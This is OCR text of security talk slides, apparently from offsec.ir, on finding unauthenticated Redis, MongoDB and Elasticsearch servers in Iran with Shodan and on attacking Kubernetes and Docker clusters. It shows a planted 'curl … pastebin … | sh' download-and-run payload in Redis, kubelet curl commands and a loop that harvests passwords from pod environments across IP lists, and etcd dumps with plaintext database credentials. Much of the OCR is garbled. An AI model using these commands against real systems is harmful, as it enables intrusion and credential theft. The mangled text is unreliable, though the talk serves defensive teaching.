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Technologies :



m» elasticsearch
R

. mongo
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* |nsecure design by default

 Sensitive information disclosure

 Access to Host OS
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,’ SHODAN country:IR port:6379 -Authentication

*% Maps W Share Search & Download Results

Open Redis:

TOP COUNTRIES

-
Iran, Islamic Republic of 253
Tehran 22
Sari 3
Karaj 3
Qeshm 1
Respina Networks & Beyond PJSC 20
Pars Online PJS 13
Asiatech Network 13
Shatel DSL Network 11
Information Technology Company (ITC) 11
s SYS VIS

2

Redis key-value store 37
www.offsec.ir
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Examples :

© Connect to Redis Server | 57 ' % Settings|
'.s ¥ s::db0::weaponX X
w
©
Yo (2) STRING: |weaponX | TTL:-1 | Rename | W Delete |Reload Value & Set TTL £
=
? MEROK l . Value: View as: Plain Text 5 §
% weaponz a
A B
Odb1 (0) */1 %= = = = curl -fsSLk https://pastebin.com/raw/P7htbsPU | sh
v.sd ¥ sd::db2::hangfire:servers X
» Q@ dbo (26) SET: | hangfire:servers Size:1 TTL:-1 | Rename | W Delete | Set TTL
dbi (0 v
A ¢ © row value © Add Row
v Pdb2 (353) 1 po— s d3efccSe-94f8-428¢-92d1-2abf0ff0b16 e
BBC e P (44
" = -~ (4) @ Reload Value
B (309) (ORI | S |
db3 (0)
- page [ ofs
Ddb4 (0) :
Set Page
Ddbs (0) »
< (=]
b6 (0) 7
0db7 (0) Value: View as: |Plain Text v
OdbS (0) 3 % 3 -94f8-428c-92d1-23bf0ff90b16| A
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MongoDB:

== Download Resulis

-

Iran, Islamic Republic of 206
TOP CTIES

Tehran 25
Tabriz 2
Rasht 1
Karaj 1
TOP ORGANIZATIONS

Afranet 10
Netmihan Communication Company Ltd S
Respina Networks & Beyond PJSC =
Parsonline 7
Pars Parva System Co_ LTD 7
MongoDB 206

www.offsec.ir
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ip
1
1 WARNING: ontrol is not en for the d e
1 write access to and confi ation is unrestricted
2019-02 1
2019-02- 18.
2019-02- 1 WARNING: You
2019-02- 1 we to avoid ¢ formance proble
2019-02- 1 [other options
18
18 WARNING: enabled is "alw
18.
18.
18. WARNING : mm/transparent defrag
18. I CONTROL L we tring. 156" °
18. I CONTROL

0. 000GB
0. 000GB
0. 000GB
0. 001lGB
0. 000GB
0. 000GB
0. 000GB

. 000GB

. 000GB

. 000GB
. 000GB
. 000GB
. 000GB

)O00000000
e
<
I
G

0.000GB
0. 000GB
0. 000GB
0. 000GB
0.001GB

0. 000GB
0. 000GB

0.003GB
0. 000GB
0. 000GB
0.010GB
0. 000GB
0. 000GB
0. 000GB
0. 000GB
0. 000GB
0.001GB

Jolol

.001GB
. 000GB
000GB
. 040GB

)O000000¢

. 000GB
. 000GB

OO

ise admin
tched to db admin
how collections

db. sy

"role’

abase”, "db" : "admin

"MONGODB-CR" 'userAdminAny readwriteAnyDatabase”,

usterAdmin", "d - min

JFFSEC
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5diface76839" }, "roles™ : [ { "role"

"admin", "credentials”
: "admin" "role"”
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Elasticsearch and Kibana :

% SHODAN SIS Lo VNI oy R port 5601 kibana

*% Exploits *% Maps W Share Search & Download Results

%% Exploits % Maps W Share Search & Download Results

-
-

Iran, Islamic Republic of 114
TOP CITIES ) o . eenene Iran, Islamic Republic of 35
Tehran 12
Sanandaj 5 TOP CTIES
Yazd 1

Tehran 4
Information Technology Company (ITC) 40 T , P ‘:':'«‘:".f NIZ ‘ ONS
Parsonline 8 Afranet 6
Afranet 8 2

Aria Shatel Company Ltd 4
Sharif University Of Technology 3

Parsonline 3
Pars Parva System Co. LTD 3

Pars Online PJS 2
TOP PRODUCTS Netmihan Communication Company Ltd 2
Elastic 114

JFFSEC
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Attacking Clusters



K11 Your

ContalnersiNez

Belong to Us
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Jocker Swarm Architecture :

E Swarm Master Node

Scheduling 8

Service Discovery

Scaling

Load Balancing

Docker Daemon

.....................

0000000000000000000000000000000000000000000000

- Swarm Worker Node - : Swarm Worker Node .

) @

Load Balancing : : Load Balancing
%

Docker Daemon : : Docker Daemon
-
9
L

..............................................
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Docker

Hub Token Service

EANTI RO Docker APls
over HTTP
W ‘
Scheduler Servi
Docker APIs
over HTTP HTTP HT‘TP
-
Docker Docker Docker
Daemon Daemon Daemon
i [ [ ] [ [ e (] [
Swarm Node Swarm Node Swarm Node
_ -
Docker
Comtaners

www.offsec..i
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* Less complex in compare with Kubernetes

» Used commonly on Staging

« Easy to Setup/Use

ffffffff
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Kubernetes Architecture:

KUBERNETES ARCHITECTURE

User Interface

°

kubectl

Kubernetes Master

API Server

Controller-Manager

JFFSEC
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Container 1
Container 1 [ ————]
%, | Container 2
: Container 2
Container 3
J

Worker Node 1

Pod 2 Pod 3
(- N\

Container 1

e Somainer ]

=] Container 2
Container 3

\_ J
DOCKER
kubelet

Worker Node 2
Pod 3

DOCKER
kubelet




Kubecti Internet

Master node Worker node
< » Kubelet Kube-prox
> APl server < I>__<ply
T Pod l Pod v Docker
Controller-Manager 3 3
(replication, namespace, Scheduler
serviceaccounts, ...)
v Container Container
G
w——_
2
Worker node
etcd
— Kubelet Kube-proxy
Pod l Pod Docker
v v
Container Container
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» Easy to setup

* High Complexity

» Extremely hard for maintenance

ffffffff
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Kubernetes vulnerable spots:
» etcd

 Kubelet API

Post-Attacks
 |nternal attacks if no Network policies applied

» Docker container escape / privilege escalation

ffffffff
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Abusing etcd

& C (@ Not Secure j_2379/v2/keys/?recursive:true B % =

{"action":"get","node":{"dir":true, "nodes":[{"key":"/config discover","dir":true,"nodes":[{"key":"/config disco password 5/25 A v X
[{"key":"/config discover/global/friend","dir":true,"nodes":[{"key":"/config discover/global/friend/mongodb","d

[{"key":"/config discover/global/friend/mongodb/1","value":"{\"id\":1, \"name\":\"friend\", \"host\":\"172.18.00Z\" ;7 \"port\ 27017, \"USer\ " r\"root\ "7y
\"password\":\"123456\"}", "modifiedIndex":8148340, "createdIndex":8148340}], "modifiedIndex":66,"createdIndex":66},{"key":"/config_discover/global/friend/redis",6 "di:
[{"key":"/config_discover/global/friend/redis/1","value":"{\"id\":1, \"name\":\"friend\", \"host\":\"172.18.0.2\", \"port\":6379,

\"cluster type\":\"no _cluster\"}", "modifiedIndex":8493831, "createdIndex":8493831}], "modifiedIndex":38, "createdIndex":38},

{"key":"/config discover/global/friend/redis2","dir":true,"nodes":[{"key":"/config discover/global/friend/redis2/1","value":"{\"id\":1, \"name\":\"friend\",
\"host\":\"172.18.0.2\", \"port\":6380,

\"cluster type\":\"cluster\"}","modifiedIndex":8493837,"createdIndex":8493837}], " "modifiedIndex":44,"createdIndex":44}],"modifiedIndex":38, "createdIndex":38},
{"key":"/config discover/global/gamecp","dir":true,"nodes":[{"key":"/config discover/global/gamecp/redis","dir":true, "nodes":
[{"key":"/config_discover/global/gamecp/redis/1","value":"{\"id\":1, \"name\":\"gamecp\", \"host\":\"172.18.0.2\", \"port\":6379,

\"cluster_ type\":\"no cluster\"}","modifiedIndex":8493825, "createdIndex":8493825}], "modifiedIndex":32, "createdIndex":32},

{"key":"/config discover/global/gamecp/im","dir":true,"nodes":[{"key":"/config discover/global/gamecp/im/mongodb”, "dir":true, "nodes":
[{"key":"/config_discover/global/gamecp/im/mongodb/1","value":"{\"id\":1, \"name\":\"gamecp im\", \"host\":\"172.18.0.2\", \"port\":27017, \"user\":\"root\",
\"password\":\"123456\"}", "modifiedIndex":8148336,"createdIndex":8148336}], "modifiedIndex":62,"createdIndex":62}], "modifiedIndex":62, "createdIndex":62},
{"key":"/config discover/global/gamecp/mongodb","dir":true, "nodes":[{"key":"/config discover/global/gamecp/mongodb/1","value":"{\"id\":1, \"name\":\"gamecp\",
\"host\":\"172.18.0.2\", \"port\":27017, \"user\":\"root\", \"password\":\"123456\"}","modifiedIndex":8148335, " "createdIndex":8148335}],"modifiedIndex":61,"created
{"key":"/config discover/global/gamecp/mysqgl","dir":true, "nodes":[{"key":"/config discover/global/gamecp/mysqgl/1","value":"{\"id\":1, \"name\":\"gamecp\", \"host\
\"user\":\"root\", \"password\":\"123456\",

\"database\":\"gamecp\"}", "modifiedIndex":6329848, "createdIndex":6329848}], "modifiedIndex":56, "createdIndex":56}], "modifiedIndex":32, "createdIndex":32},
{"key":"/config discover/global/robot”,"dir":true,"nodes":[{"key":"/config discover/global/robot/mongodb", "dir":true, "nodes":

JFFSEC
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Abusing Kubelet API

* Port 10250 gives unlimited access to API
» Port 10255 Read-Only access to API

Concepts :

* Env : Like normal linux environment variable { Plain Text }
« Secrets : Stored in kubernetes and callable by name { Not plain }

Some interesting endpoints:

 /metrics > basic metrics
» /pods > Gives full pod’s description

ffffffff
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Kubelet API on both port if Authorization and Authentication is not enabled
gives access to POD’s ENVs.

curl http://$TARGET-IP:10255/pods | jq ‘.’ | grep DATA

WWWWWWWWWWW
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How secrets save you !

{
"name": "POSTGRES_USER",
"valueFrom": {
"secretKeyRef": {
"name": "uaa-db-secret",
"key": "username"
}
}
}s
{
"name": "POSTGRES_PASSWORD",
"valueFrom": {
"secretKeyRef": {
"name": "uaa-db-secret",
"key": "password"

www.offsec..i
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And how ENVs destroy you

“image": "mysql:5.7",
*ports®: [
{
"name": "mysql",
"contailnerPort": 3306,
"protocol": "TCP"
}

e
"env": [

{

"name": "MYSQL_ROOT_PASSWORD",
"value": "WFDWYxgxjf"
}
1,

JFFSEC
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Harvesting Passwords from ENVs automatically

cat /root/passfinder/list.txt | read IPS; curl 5 http://$IPS:10255/pods | jq '.' | grep
10 PASS 10;

root@Enum ~/passfinder

JFFSEC
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Post-Attacks:
» By default kubernetes does not have any network restriction policies !

« Kubernetes uses internal DNS to resolve services within cluster

° Every kubernetes service is resolvable with “my-svc.my-namespace.svc.cluster.local”

» Malicious user can brute-force namespaces for valuable services

SSSSS

JFFSEC
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Exploiting privileged PODs with Docker CVE-2019-5736:

securityContext:
allowPrivilegeEscalation: true
capabilities:

add:
- SYS_ADMIN
privileged: true

JFFSEC
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